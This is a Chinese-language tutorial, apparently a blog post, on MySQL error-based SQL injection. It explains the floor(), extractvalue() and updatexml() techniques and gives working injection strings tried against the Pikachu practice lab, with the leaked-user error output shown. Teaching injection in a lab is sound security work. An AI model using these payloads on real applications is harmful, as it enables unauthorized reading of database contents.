SQL注入之报错注入
SQL注入之报错注入
一、报错注入原理
报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。
二、报错注入方法
报错注入的方法多种多样,常见的有以下几种:
① floor()报错注入
注:floor报错注入在MySQL版本8.0中已失效。
原理
通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
常见语句
SELECT COUNT(*),CONCAT((SELECT USER()),FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a;
-- 结果: ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
- floor函数:返回小于等于括号内该值的最大整数。
- rand函数:随机产生一个在0和1之间的小数。
rand(0)中的0是固定的随机数的种子0,也就是说每次随机值是固定的;floor(rand(0)*2))则会伪随机0或1。 - count函数:用于统计记录的数量
- group by:用于分组
为什么查询语句会报错ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'呢?
实际上该语句在查询过程中会产生虚拟表,在插入虚拟表的过程中,因为插入了一个重复的值,所以就会抛出主键冗余的异常。具体原因可查看Mysql报错注入之函数分析
② extractvalue()报错注入
注:extractvalue报错适用于MySQL 5.1.5+ 版本
原理
通过在extractvalue函数的第二个参数注入一个无效的Xpath表达式,导致函数报错,从而获取数据。
常见语句
SELECT EXTRACTVALUE(RAND(),CONCAT(0x7e,(SELECT USER()),0x7e));
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
- extractvalue函数:
extractvalue(xml_frag, xpath_expr),xml_frag是XML片段,xpath_expr是Xpath表达式。 - concat函数:字符串拼接函数。
③ updatexml()报错注入
注:updatexml报错适用于MySQL 5.1.5+ 版本
原理
通过在updatexml函数的第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。
常见语句
SELECT UPDATEXML('x',CONCAT('~',(SELECT USER()),'~'),'x');
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~oot@localhost~'
- updatexml函数:
updatexml(xml_document, XPath_string, new_value),xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。 - concat函数:字符串拼接函数。
④ 其他报错注入
除了上述常见的报错函数外,还有其他一些函数(如exp()、join等)也可以用于报错注入。这些函数在特定条件下可以触发数据库错误,从而泄露敏感信息。
三、报错注入实例
① floor()实例
在Pikachu中,进行实践。在输入框输入:1' union select count(*),1,concat((select user()),floor(rand(0)*2))as a from information_schema.tables group by a #

结果: Duplicate entry 'root@localhost1' for key 'group_key'

② extractvalue()实例
在Pikachu中,进行实践。在输入框输入:1' and (select extractvalue(rand(),concat(0x7e,(select user())))) #

结果: XPATH syntax error: '~root@localhost'

③ updatexml()实例
在Pikachu中,进行实践。在输入框输入:1' and updatexml('x',concat('~',(select user()),'~'),'x') #

结果: XPATH syntax error: '~root@localhost~'

SQL注入之报错注入的更多相关文章
- sql注入之报错注入and boolean注入
1.sql注入之报错注入 正常传参,返回页面正常: 加入' 返回页面报错,出现"zhangsan"' 报错注入使用的函数 在这里我们使用 select updatexml(1,c ...
- [sql 注入] insert 报错注入与延时盲注
insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...
- 实验吧——加了料的报错注入(exp报错注入)
题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询 测试了一个报错函数发现如下回显, ...
- SQL注入之报错注入常见函数
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- SQL注入--盲注及报错注入
盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...
- SQL注入之MySQL报错注入整理
看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...
- CTF-sql-group by报错注入
本文章主要涉及group by报错注入的原理讲解,如有错误,望指出.(附有目录,如需查看请点右下角) 一.下图为本次文章所使用到 user表,该表所在的数据库为 test 二.首先介绍一下本文章所使用 ...
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...
- sql注入--双查询报错注入
sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...
随机推荐
- Tornado框架之应用安全(四)
知识点 Cookie操作 安全Cookie 跨站请求伪造原理 XSRF保护 模板 请求体 HTTP报文头 用户验证 authenticated装饰器 get_current_user()方法 logi ...
- 【Amadeus原创】HP惠普笔记本重装系统无法引导无法进操作系统的终极解决方法
F9进入BIOS-先进(Advanced)-安全引导配置- 启用传统支持和禁用安全引导
- COSBrowser 文件对比——更实用的文件管理功能
我们在使用 COSBrowser 来管理腾讯云存储的文件时,目前我们大家所熟知的上传/下载方式,主要有以下三种: 通过点击按钮上传/下载 通过拖拽的形式进行上传/下载 通过 URL 链接进行上传/下载 ...
- 2.mysql授权认证
权限系统介绍 ● 什么是权限系统 权限系统是授予来自某个主机的某个用户可以查询.插入.修改.删除等数据库操作的权限 不能明确的指定拒接某个用户的连接 权限控制(授权与收回)的执行语句包括 create ...
- 为什么SQL正在击败NoSQL,这对未来的数据意味着什么(转载)
为什么SQL正在击败NoSQL,这对未来的数据意味着什么 : http://geek.csdn.net/news/detail/238939 译者注:经过多年的沉寂之后,今天的SQL正在复出.缘由如何 ...
- 【Word】文献引用批量上标
\[([0-9]{1,2})\]
- 2024年1月Java项目开发指南15:vue3+AntDesignVue 设计页面
考虑到有的同学对vue3不熟悉,因此,我把ControlView.vue这个页面清空,我们从0开始写. <template style="width: 100%"> & ...
- Spring boot 配置文件位置
Spring boot 的Application.properties 配置文件可以是以下几个地方:classpath:/,classpath:/config/,file:./,file:./conf ...
- 查看GPU支持的CUDA版本
针对的是英伟达GPU.操作步骤如下: 打开NVIDIA Control Panel(NVIDIA控制面板) 可以在搜索里直接搜索,如下图所示: 在打开的控制面板中点击"帮助",如下 ...
- IM开发者的零基础通信技术入门(十五):理解定位技术,一篇就够
[来源申明]本文引用了微信公众号"鲜枣课堂"的<老司机揭秘手机定位技术,这下彻底明白啦!>文章内容.为了更好的内容呈现,下文在引用和收录时内容有改动,转载时请注明原文来 ...